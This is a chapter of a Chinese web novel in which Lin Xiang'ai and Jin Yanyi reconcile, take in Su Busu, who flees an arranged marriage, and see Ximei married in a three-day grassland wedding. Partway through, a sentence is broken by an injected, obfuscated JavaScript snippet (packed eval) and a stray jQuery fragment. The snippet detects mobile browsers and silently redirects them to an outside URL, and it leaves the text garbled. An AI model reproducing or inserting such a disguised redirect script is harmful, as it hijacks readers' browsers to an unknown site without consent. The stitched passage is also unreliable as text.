209. 草原上的婚礼
作品:《夜窗如昼》 林香艾往金言奕怀里凑了凑,温柔地劝道:“你放心,我保证不笑话你。”
“我想着草原晚上比较冷,要是不盖被子睡觉,肯定要生病,我要是病了,你肯定要来照顾我,到时候我就能趁机好好跟你聊聊,可是承影总是偷偷塞炭盆进来,害得我没有一点生病的迹象。”金言奕说道。
林香艾觉得有些好笑,但她忍住了,“难道你还是小孩子吗?盼着生病就能吃到糖?”
“谁让你到了草原上就不理我了,我也是实在没办法了。”金言奕委屈地说道。
“来到草原上,让我想明白了许多事,如果我让你觉得烦恼,那你不如放手,还能自在些。”林香艾说道。
“离开我,你就自在了?”金言奕收紧了双臂,“我才不放手,我的烦恼只在于你不爱惜身体,不理我。”
“你故意生病,不也是不爱惜身体?”林香艾说道。
“是啊,我就是故意的,你看到我因为不爱惜身体而生病,是什么样的感受,那我看到你不爱惜身体致使疾病久拖不愈,就是什么样的感受,你现在能理解我了吗?”金言奕反问道。
“我还想来教训你呢,没想到反被你教训了一通。”林香艾笑着说道。
金言奕抱着林香艾,吻了吻她的额头,“我们爱惜彼此的心是一样的,我知道我身子弱,生病了需要你格外费心,但是你要是小病拖成大病,也是会追悔莫及的。”
林香艾抬手抚摸着金言奕的脸,“好,我明白了,我以后都会多注意身体,你也不要再用这种方法吸引我的注意了,生病了那么难受,我会心疼的。”
“看到你那么累,病了那么难受,我也很心疼。”金言奕把手搭在了林香艾的手背上,在黑暗中轻声问道:“夫人,我可以吻你吗?”
林香艾没有回答,手指移到了金言奕嘴角,朝他的嘴唇吻了过去。
第二天一早,承影去叫了青萝过来伺候,林香艾穿戴整齐之后,承影和流光才进去伺候金言奕。
两人还没吃完早饭,妹妹就拉着苏不苏进了帐,各自寻了座位坐了。
“姐姐,姐夫,今天要去扎拉丰阿家里做客,你们可别忘了。”喜妹说道
“没忘,等我们吃完饭就走,你别着急。”林香艾笑着说道。
金言奕无奈地摇了摇头,“真是越发没规矩了,来了怎么都不向我和你姐姐行礼?带得外人都不行礼了。”
喜妹一脸无所谓的样子,“姐姐从来不让我行礼,也允许苏不苏不向她行礼,姐夫要是想让我们跟你行礼,那我们就行。”
“罢了,你都要嫁人了,我就不跟你计较了,苏不苏姑娘是怎么回事?你怎么还不让她回家去?”金言奕问道。
“姐姐说了,苏不苏不用回去了,以后她就是我们王府的人了。”喜妹说道。
苏不苏点了点头,“是的,我以后要跟着福晋。”
金言奕惊讶地看着林香艾,“你真的要把她带回王府?以什么身份?”
林香艾笑了笑,“苏不苏姑娘身手不凡,我想聘请她当我的侍卫,王爷觉得怎么样?”
“她当你的侍卫固然好,可是……”金言奕压低了声音对林香艾说道:“她要是再闹着要嫁给我怎么办?留在你身边,终归是个麻烦。”
“你放心好了,我都问明白了。”林香艾收起了笑意,认真地对金言奕说道:“苏不苏家里不是很富裕,她父母给她说了一门亲事,她不同意,她阿玛说,如果她能成为敖包盛会上的神射手,就允许她晚几年成亲,前天她获胜了,她阿玛却又反悔了,说已经收了聘礼,嫁妆也准备好了,必须要把她嫁出去,她才来找我们,希望我们能带着她离开草原。”
“原来是这样。”金言奕用责备的眼神看着苏不苏,“你早跟我说实话多好,我们还能帮你想想办法。”
“就是,你一开口就说要嫁给王爷,真是把王爷吓一跳。”流光笑着说道。
“王爷长得好看,我本来是想嫁给王爷的。”苏不苏撇了撇嘴,“不过,不会骑马的男人是不会受欢迎的,看他的胳膊,肯定连弓都拉不开,还是算了吧。”
流光听得目瞪口呆,“怎么,你一个草原上的姑娘,还看不上我们王爷?”
“草原怎么了?你们城市里的,就比草原上的高贵吗?”苏不苏不服气地反驳道。
“大家都是一样的人,没有什么高贵低贱的。”林香艾制止了两人的争吵,“流光,苏不苏姑娘在草原上长大,不懂得这些规矩,你就多让着她点儿吧。”
流光面露难色,“福晋,你真的要带她回王府?她看起来比喜妹姐姐还要蛮横,我们以后的日子怕是不好过了。”
喜妹瞪着流光,“好啊,你这个臭小子!这是连我也一块骂呢?”
流光往承影身后缩了缩,“没有,这我哪敢啊,你们两位姑奶奶,我是一个也惹不起。”
众人听了,都哈哈笑了起来。
吃过早饭,林香艾和金言奕带着喜妹和苏不苏去了扎拉丰阿家里商量两人的婚事,扎拉丰阿的父母受宠若惊,本以为儿子是跟他们开玩笑的,没想到王爷和福晋真的来到了家里,还要把福晋的妹妹嫁给他们的儿子,两人自然是没有不愿意的。
扎拉丰阿的父亲说着好好准备两人的婚礼,要以多少头牲畜做聘礼,准备新娘的衣服和首饰,还要做一个全新的帐房给两人住,喜妹觉得准备这些东西太费时间,牲畜王爷和福晋带不走,就不用准备了,其他的能买到什么算什么,她只要尽快嫁过去就好。
金言奕觉得喜妹不够矜持,扎拉丰阿的家人却都觉得喜妹性子爽利,十分喜欢她,不用带走聘礼,他们更觉得欢喜,便要事事都依着她说的办。
从扎拉丰阿家里出来,林香艾和金言奕又带着喜妹和苏不苏去了苏不苏家里,苏不苏把她的新娘袍服和首饰拿出来,给喜妹试穿,她的身形比喜妹大一些,衣服不太合身,不过喜妹并不在意,欢喜地去找林香艾,要她帮自己买下来。
苏不苏的父母见福晋和王爷来了家里,真是又惊又喜,听说福晋要带苏不苏走,两人虽然不舍,却也只能认了,金言奕买走了他们给苏不苏准备的嫁妆还有苏不苏的马,又额外给了他们几十两银子,嘱咐他们好好生活,要是想女儿了,可以去王府看她。
林香艾也向苏不苏的父母承诺会好好待她,让他们尽管放心,两人笑着点头答应着。
临走前,苏不苏的父母拉着苏不苏的手,叮嘱她要听福晋的话,得空就回来看他们,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001993|187569||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苏不苏心中虽然不舍,却也只是含泪叫他们保重身体,让他们把自己在敖包盛会上赢来的东西卖了换钱,然后狠狠心离开了。
回帐房的路上,苏不苏总是抬起胳膊抹眼泪,不过,她一次都没有回头。
她绝不会听从她的父母,嫁给那个酗酒的男人,一辈子从听他,伺候他,她要像草原上的雌鹰一样,自由飞翔。
苏不苏要飞离草原,喜妹却要在草原安家,有了新娘袍服,扎拉丰阿家里买了一顶帐房,又准备了许多吃食和美酒,婚礼就这样热热闹闹的开办了。
虽然喜妹一再说要办得随便点,但依照草原的传统,这场婚礼还是办了三天。
第一天,在王爷的帐房里设宴,金言奕特意请来了乌勒登的母亲来为喜妹分发、束发,给她扎了两条大辫子,几个草原妇女在一旁唱着送女歌,吟唱着对分离的不舍和对新娘未来的祝福,新郎家里也送来各种吃食,给宴会助兴。
第二天,新郎扎拉丰阿带着亲友来接亲,多福和青萝、小鹿和几个草原姑娘在帐房门口拦门,两方互相唱着草原上的歌,气氛热闹又欢快。
扎拉丰阿和喜妹一起走出了帐房,扎拉丰阿穿着一套崭新的蓝色袍服,身上佩戴者弓箭和短刀,喜妹穿着一身绿色的袍服,头上脖子上腰上都戴着华丽的首饰,两人看起来十分般配。
新人在前,拉嫁妆的马车在后,到了扎拉丰阿家,举行了拜天地、祭火神的仪式后,喜妹就住进了扎拉丰阿家里。
第三天一早,举办了谢幕的仪式,扎拉丰阿的姐姐给喜妹梳上已婚妇女的发式,喜妹以女主人的身份来到宴会上招待客人,扎拉丰阿的父亲宣布把新帐房分给两人居住,又分了一部分牲畜给两人。
三天热闹的宴会结束,喜妹正式成为了草原上的女人,林香艾在离开前,拉着她的手,依依不舍地跟她告别。
“等我回去后,会把你的东西都收拾了,找人专程给你送过来,你要是缺什么东西,就托人送信告诉我。”林香艾说道。
夕阳斜斜地照过来,喜妹迎着太阳,脸上也满是不舍,“好,我知道了,天快黑了,你们早些回去吧。”
“你要是适应不了草原上的生活,就带着扎拉丰阿到望津城去,在咱们王府当个侍卫,或者让吴姐姐给他找个差事都行,这样,咱们姐妹还能在一块。”林香艾说道。
“女人都是要嫁人的,哪能一直待在一块,我既然嫁给了扎拉丰阿,就要好好跟他过日子,你放心,等逢年过节的,我一定找机会去看你。”喜妹说道。
“喜妹姐姐喜欢草原,留在这里,姐姐就有喝不完的奶茶了。”小鹿笑着说道。
喜妹呵呵一笑,“是啊,赶明儿你们来我这里做客,奶茶让你们随便喝。”
“姑娘要是有用得着我的地方,我可以留下来伺候你。”青萝说道。
决定嫁到草原后,喜妹心中对于青萝的芥蒂也都消失了,她微笑着说道:“不必了,眼看着天就冷了,耳房里太冷住不得,你就搬去我的房间住吧。”
“这怎么能行,你的房间,还是给你留着吧,要不我睡你房间的炕上也行。”青萝说道。
喜妹笑了笑,“那个房间你就尽管用吧,我决心要留在草原,不回去了。”

